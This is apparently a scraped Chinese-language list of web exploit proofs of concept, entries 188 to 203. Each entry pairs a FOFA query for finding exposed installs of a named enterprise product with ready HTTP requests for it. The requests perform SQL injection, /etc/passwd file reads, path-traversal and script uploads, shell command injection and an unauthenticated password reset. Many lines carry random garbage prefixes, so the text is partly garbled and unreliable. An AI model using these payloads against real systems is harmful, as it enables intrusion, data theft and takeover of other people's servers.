* E& v5 z2 U# a9 F( U9 zobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
6 |0 f5 b6 j# p# o
' Q2 \( T+ b0 i! J1 a( M3 D4 U# \
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
8 j1 k- n3 H* K: PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 M8 b) ~5 t5 J% v  c$ G+ DAccept-Encoding: gzip, deflate
* @. N0 }1 k' J* a- L: K+ r# qAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
: F! j% x* u9 }; @. V4 |+ m

' u7 W0 D+ }/ f5 n: r8 ^4 S189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
! o/ H! C) N0 x# o- J" k& UGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
+ M1 a% A+ R5 ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
! t& w1 n2 h& ^* c9 u8 ~# |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* M" v, W$ [/ ^" cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
3 }  \% b+ W) z9 \/ ]$ R
+ l; y) T9 B* F2 c' I3 k- j
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
! D; m' b5 V& APOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
5 t8 s; c8 b4 N! ~6 cAccept-Encoding: gzip, deflate
$ [% a& R$ P5 E" JAccept-Language: zh-CN,zh;q=0.9
9 l% d0 o( r$ `: `! A& x
! y3 ]! }9 F2 B8 _6 h4 \, Wpoi=file:///etc/passwd


+ g- i* ^5 s  U2 H/ [' L, K# A3 t191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
& F8 L8 w) z' R7 V0 [POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
9 K2 o) {1 @3 u, [6 E- J
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


, u/ ]" S! y( W6 Y4 b192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
+ U7 e( o# X( p( R2 K; }3 FFOFA：title="用户登录_富通天下外贸ERP"
/ E6 r+ L9 N8 E8 w; ?% p- lPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
" {, a8 s( }6 {4 aContent-Type: application/x-www-form-urlencoded


: H+ a' a, I/ k. s& t0 q4 S<% @ webhandler language="C#" class="AverageHandler" %>
using System;
$ S5 _4 x" R; w/ W1 Tusing System.Web;
5 e4 v2 y: X: K* g6 u& Apublic class AverageHandler : IHttpHandler
. W2 W! K$ Q* R; _{
. n, K9 s3 p9 U3 W" ?public bool IsReusable
: c  Z4 _0 p1 \2 T/ w& H{ get { return true; } }
! q+ Q, n5 t, Opublic void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
& s1 ^; _3 Y3 X3 X* S2 `& k}
8 ^7 l6 t* {' N% H7 J( @}
: N- f* H" L" b/ N7 n* w

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
& @' y4 H5 ]: Q8 Z4 T/ y% o/ ?6 kFOFA：body="山石云鉴主机安全管理系统"
/ p$ X9 C, c5 j' jGET /master/ajaxActions/getTokenAction.php HTTP/1.1
' d7 s- H6 M; `$ t' YHost:
- N8 l" b4 o* T0 ]Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
/ @# H; K" v/ a. l7 Z$ OUser-Agent: Mozilla/5.0

+ O# Y- k( r. J; A
! |3 Q" d% a: s  d. `* IPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
/ R0 C8 t& G$ k7 \User-Agent: Mozilla/5.0
" z8 t- U0 P) w; y) a8 FAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
  ?. x7 U# @" o/ F6 PCookie: PHPSESSID=2333333333333;
2 _% a5 M& |4 n" c. w% T' M0 sContent-Type: application/x-www-form-urlencoded
& M- @$ {7 c# ~# xContent-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
; U/ C, P: `7 l& D/ V; T8 z

8 Q* o3 j! c. l% S' U! W$ @6 ~GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0

# H; k% A* c( K1 P" l  k
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
: F) y# A3 J) q- {, t- T/ n* q7 y) @FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
* L; Q, `7 L9 y, I
- z' O  S6 q8 V  i: yPOST /servlet/uploadAttachmentServlet HTTP/1.1
. C( {& Y; u9 v8 }Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 R! G: Y4 m% B( w- O+ u/ }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# e* C) Z. ~3 T: V' Q* D0 T! mAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

# o1 b+ v' l& K2 F, ^* Y5 xContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
0 h2 ?3 Z/ |) V# [3 pContent-Type: text/plain
<% out.println("hello");%>
2 b$ s9 i( K. }$ o1 D) l1 V------WebKitFormBoundaryKNt0t4vBe8cX9rZk
' p3 N( {+ B) w. n4 }Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
) i- I; S& i, W! t2 d( ^6 o------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


7 ~2 B. J) e3 {8 b9 c% d* }! `( r195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
! c' n% ]- d% W$ h7 D, LCache-Control: no-cache
8 }: E& O9 _6 Q& G1 @4 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
" N, ?$ O+ X0 ~Accept: */*
. S: g3 r3 J/ l* b  ^% ^' ^; fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

1 ^/ r+ d! \. v, y8 r- h$ ]% H{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

: i, p. Z0 p4 D  r
196. 河南省风速科技统一认证平台密码重置
& B- ]# b1 X2 kFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
, T& N2 S8 X' T2 A# h( MHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
  V7 D$ g# v1 `- e$ n
{"xgh":"test","newPass":"test666","email":""}



# m' a' P' n- A. W" r) o197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
# O6 r+ ]: c" n9 R3 [. Y( ^6 WFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
) g6 x& p1 l7 ?4 `, a* iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close


3 l& Z$ i0 y0 h4 _, c) ?: }. p6 t
198.  阿里云盘 WebDAV 命令注入
2 l' i: a- E4 b$ b/ @3 T; xCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
( |$ H. U* `! F9 }& J  [: |Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
# z4 N- q9 e% B; k0 j6 o9 F* iAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
+ B) l$ q. A+ F  D- \' |0 R4 j: wConnection: close

( L+ T- R1 u7 n) A7 O- @6 L. U
199. cockpit系统assetsmanager_upload接口 文件上传

% v0 K7 `+ J. H) o3 c& b1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

" [/ x# F& j4 N7 B* T2.使用刚才上一步获取到的jwt获取cookie：
2 k# ~$ }- Q& q. d
POST /auth/check HTTP/1.1
Content-Type: application/json

' e1 w  P4 W7 |9 l  l{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
5 t! P1 o# S# ?1 d4 C
响应：200，返回值:
. `. E8 l( ?7 k- J1 ]Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
0 A* m% A  n/ p! ePOST /assetsmanager/upload HTTP/1.1
3 k9 T5 {8 @0 o2 I4 c! TContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

: k+ i: i! m6 ^  V" J4 G8 t7 N-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
4 v' P- ?9 k2 W( fContent-Type: text/php

3 O' b* n  b( d, u9 h0 ~) K+ ?3 s" V+ c<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
7 v  k! c  z* g% d4 S1 n' }Content-Disposition: form-data; name="folder"
% n2 `4 q- C5 C0 |/ H" K1 I
6 u  \! y7 T, l" z/ k& \$ i-----------------------------36D28FBc36bd6feE7Fb3--

( e% c  W2 o0 O+ V' h0 \
/storage/uploads/tttt.php
7 `5 V! \: b! J9 Z2 [4 Q
1 w' B9 o" s  g9 @- n" j& W4 [9 S200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
9 V. B" Y+ Z$ U( A+ h5 Q; CGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
4 k$ F. S9 f5 @9 j- R: l0 M  D# FCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
: {1 V2 S1 x$ X- o  ]Upgrade-Insecure-Requests: 1
0 d' w& ]5 a: o- g7 pCache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' ]2 v- k' m0 V- ]& |/ eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

0 M8 |# X+ z2 b. e- s4 b
! z; O# Z2 y. I% g& x201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
; E8 n. q( i% P& vPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
" d5 x2 t* m' D3 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
" v8 W; c3 {: i% {
! U/ |; i1 H; g+ K7 JTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


( v" {; s% e+ E( ]/ Z8 }202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
4 N. I1 p8 ~$ F2 s7 r9 K  X, ~Host: 滑板人之家
) k( c! \' X( X; X2 ?* w5 z, G& @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
; o, f% }6 A) |+ Q4 X. ~
2 j* k7 r0 A: d  [2 Q' r
: K2 g! X& u7 I7 ^替换__VIEWSTATE和__EVENTVALIDATION值
1 A2 c  O3 A9 }" Z! QPOST /User/AccountEdit.aspx HTTP/1.1
( U/ v9 D5 C) _Accept-Encoding: gzip, deflate, br
5 q! ^1 O3 v5 ?Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

) }8 B3 e, T0 P% `. ?-----------------------------786435874t38587593865736587346567358735687
+ N& }; t  v3 `Content-Disposition: form-data; name="__VIEWSTATE"
6 ?3 C& \  a2 _5 J) i% l8 S
__VIEWSTATE
) a  u! L( T5 H* ^' R-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
" u7 Z. e7 R" M, q* D-----------------------------786435874t38587593865736587346567358735687
- ^* [; |+ M+ K' T9 H5 NContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
) f1 `& p, i$ N# Z: y  N: a9 p) [
Hello World!
4 y# q0 r* j2 K0 s2 T-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
" h3 Q# T6 w  MContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
( I2 p# a! }7 \6 r
' T2 H) N! T/ s/ H7 p$ g+ ?
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--

3 ]7 N1 f1 v: g: P. m5 N. o
. z: m/ ^6 Z8 |4 q! E" D% e1 z/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
3 [$ I2 h% c. B0 ], ?* q- e5 Q2 fFOFA：body="RedseaPlatform"
3 |' p( L+ w& g$ H0 dPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
" l, j* R6 J- UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
2 `7 q6 B: s: u' z6 ]( \
------WebKitFormBoundaryt7WbDl1tXogoZys4
4 Z. `9 @; g0 N3 p' o9 jContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
* g' e% F! ^% nContent-Type:image/jpeg

8 C& ?9 O4 x- [+ K8 Y: @<% out.print("hello,eHR");%>
: f9 f- L8 K/ P% ]% q1 a------WebKitFormBoundaryt7WbDl1tXogoZys4--


' R6 d9 f) Y! X" q



$ W/ ^) ?: d! K4 g1 l, J# p6 J